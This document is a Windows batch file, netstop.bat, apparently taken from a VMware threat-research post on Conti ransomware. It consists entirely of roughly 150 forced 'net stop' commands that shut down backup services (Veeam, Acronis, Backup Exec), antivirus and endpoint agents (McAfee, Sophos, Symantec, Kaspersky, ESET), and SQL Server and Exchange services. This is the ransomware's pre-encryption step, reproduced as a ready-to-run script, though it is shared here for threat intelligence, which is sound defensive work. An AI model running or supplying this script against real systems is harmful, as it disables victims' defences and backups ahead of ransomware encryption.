Conti net stop commands from: https://blogs.vmware.com/security/2020/07/tau-threat-discovery-conti-ransomware.html

netstop.bat

net stop "Acronis VSS Provider" /y 
net stop "Enterprise Client Service" /y 
net stop "SQLsafe Backup Service" /y 
net stop "SQLsafe Filter Service" /y 
net stop "Veeam Backup Catalog Data Service" /y 
net stop AcronisAgent /y 
net stop AcrSch2Svc /y 
net stop Antivirus /y 
net stop ARSM /y 
net stop BackupExecAgentAccelerator /y 
net stop BackupExecAgentBrowser /y 
net stop BackupExecDeviceMediaService /y 
net stop BackupExecJobEngine /y 
net stop BackupExecManagementService /y 
net stop BackupExecRPCService /y 
net stop BackupExecVSSProvider /y 
net stop bedbg /y 
net stop DCAgent /y 
net stop EPSecurityService /y 
net stop EPUpdateService /y 
net stop EraserSvc11710 /y 
net stop EsgShKernel /y 
net stop FA_Scheduler /y 
net stop IISAdmin /y 
net stop IMAP4Svc /y 
net stop McShield /y 
net stop McTaskManager /y 
net stop mfemms /y 
net stop mfevtp /y 
net stop MMS /y 
net stop mozyprobackup /y 
net stop MsDtsServer /y 
net stop MsDtsServer100 /y 
net stop MsDtsServer110 /y 
net stop MSExchangeES /y 
net stop MSExchangeIS /y 
net stop MSExchangeMGMT /y 
net stop MSExchangeMTA /y 
net stop MSExchangeSA /y 
net stop MSExchangeSRS /y 
net stop MSOLAP$SQL_2008 /y 
net stop MSOLAP$SYSTEM_BGC /y 
net stop MSOLAP$TPS /y 
net stop MSOLAP$TPSAMA /y 
net stop MSSQL$BKUPEXEC /y 
net stop MSSQL$ECWDB2 /y 
net stop MSSQL$PRACTICEMGT /y 
net stop MSSQL$PRACTTICEBGC /y 
net stop MSSQL$PROFXENGAGEMENT /y 
net stop MSSQL$SBSMONITORING /y 
net stop MSSQL$SHAREPOINT /y 
net stop MSSQL$SQL_2008 /y 
net stop MSSQL$SYSTEM_BGC /y 
net stop MSSQL$TPS /y 
net stop MSSQL$TPSAMA /y 
net stop MSSQL$VEEAMSQL2008R2 /y 
net stop MSSQL$VEEAMSQL2012 /y 
net stop MSSQLFDLauncher /y 
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y 
net stop MSSQLFDLauncher$SBSMONITORING /y 
net stop MSSQLFDLauncher$SHAREPOINT /y 
net stop MSSQLFDLauncher$SQL_2008 /y 
net stop MSSQLFDLauncher$SYSTEM_BGC /y 
net stop MSSQLFDLauncher$TPS /y 
net stop MSSQLFDLauncher$TPSAMA /y 
net stop MSSQLSERVER /y 
net stop MSSQLServerADHelper100 /y 
net stop MSSQLServerOLAPService /y 
net stop MySQL57 /y 
net stop ntrtscan /y 
net stop OracleClientCache80 /y 
net stop PDVFSService /y 
net stop POP3Svc /y 
net stop ReportServer /y 
net stop ReportServer$SQL_2008 /y 
net stop ReportServer$SYSTEM_BGC /y 
net stop ReportServer$TPS /y 
net stop ReportServer$TPSAMA /y 
net stop RESvc /y 
net stop sacsvr /y 
net stop SamSs /y 
net stop SAVAdminService /y 
net stop SAVService /y 
net stop SDRSVC /y 
net stop SepMasterService /y 
net stop ShMonitor /y 
net stop Smcinst /y 
net stop SmcService /y 
net stop SMTPSvc /y 
net stop SQLAgent$BKUPEXEC /y 
net stop SQLAgent$ECWDB2 /y 
net stop SQLAgent$PRACTTICEBGC /y 
net stop SQLAgent$PRACTTICEMGT /y 
net stop SQLAgent$PROFXENGAGEMENT /y 
net stop SQLAgent$SBSMONITORING /y 
net stop SQLAgent$SHAREPOINT /y 
net stop SQLAgent$SQL_2008 /y 
net stop SQLAgent$SYSTEM_BGC /y 
net stop SQLAgent$TPS /y 
net stop SQLAgent$TPSAMA /y 
net stop SQLAgent$VEEAMSQL2008R2 /y 
net stop SQLAgent$VEEAMSQL2012 /y 
net stop SQLBrowser /y 
net stop SQLSafeOLRService /y 
net stop SQLSERVERAGENT /y 
net stop SQLTELEMETRY /y 
net stop SQLTELEMETRY$ECWDB2 /y 
net stop SQLWriter /y 
net stop VeeamBackupSvc /y 
net stop VeeamBrokerSvc /y 
net stop VeeamCatalogSvc /y 
net stop VeeamCloudSvc /y 
net stop VeeamDeploymentService /y 
net stop VeeamDeploySvc /y 
net stop VeeamEnterpriseManagerSvc /y 
net stop VeeamMountSvc /y 
net stop VeeamNFSSvc /y 
net stop VeeamRESTSvc /y 
net stop VeeamTransportSvc /y 
net stop W3Svc /y 
net stop wbengine /y 
net stop WRSVC /y 
net stop MSSQL$VEEAMSQL2008R2 /y 
net stop SQLAgent$VEEAMSQL2008R2 /y 
net stop VeeamHvIntegrationSvc /y 
net stop swi_update /y 
net stop SQLAgent$CXDB /y 
net stop SQLAgent$CITRIX_METAFRAME /y 
net stop "SQL Backups" /y 
net stop MSSQL$PROD /y 
net stop "Zoolz 2 Service" /y 
net stop MSSQLServerADHelper /y 
net stop SQLAgent$PROD /y 
net stop msftesql$PROD /y 
net stop NetMsmqActivator /y 
net stop EhttpSrv /y 
net stop ekrn /y 
net stop ESHASRV /y 
net stop MSSQL$SOPHOS /y 
net stop SQLAgent$SOPHOS /y 
net stop AVP /y 
net stop klnagent /y 
net stop MSSQL$SQLEXPRESS /y 
net stop SQLAgent$SQLEXPRESS /y 
net stop wbengine /y 
net stop mfefire /y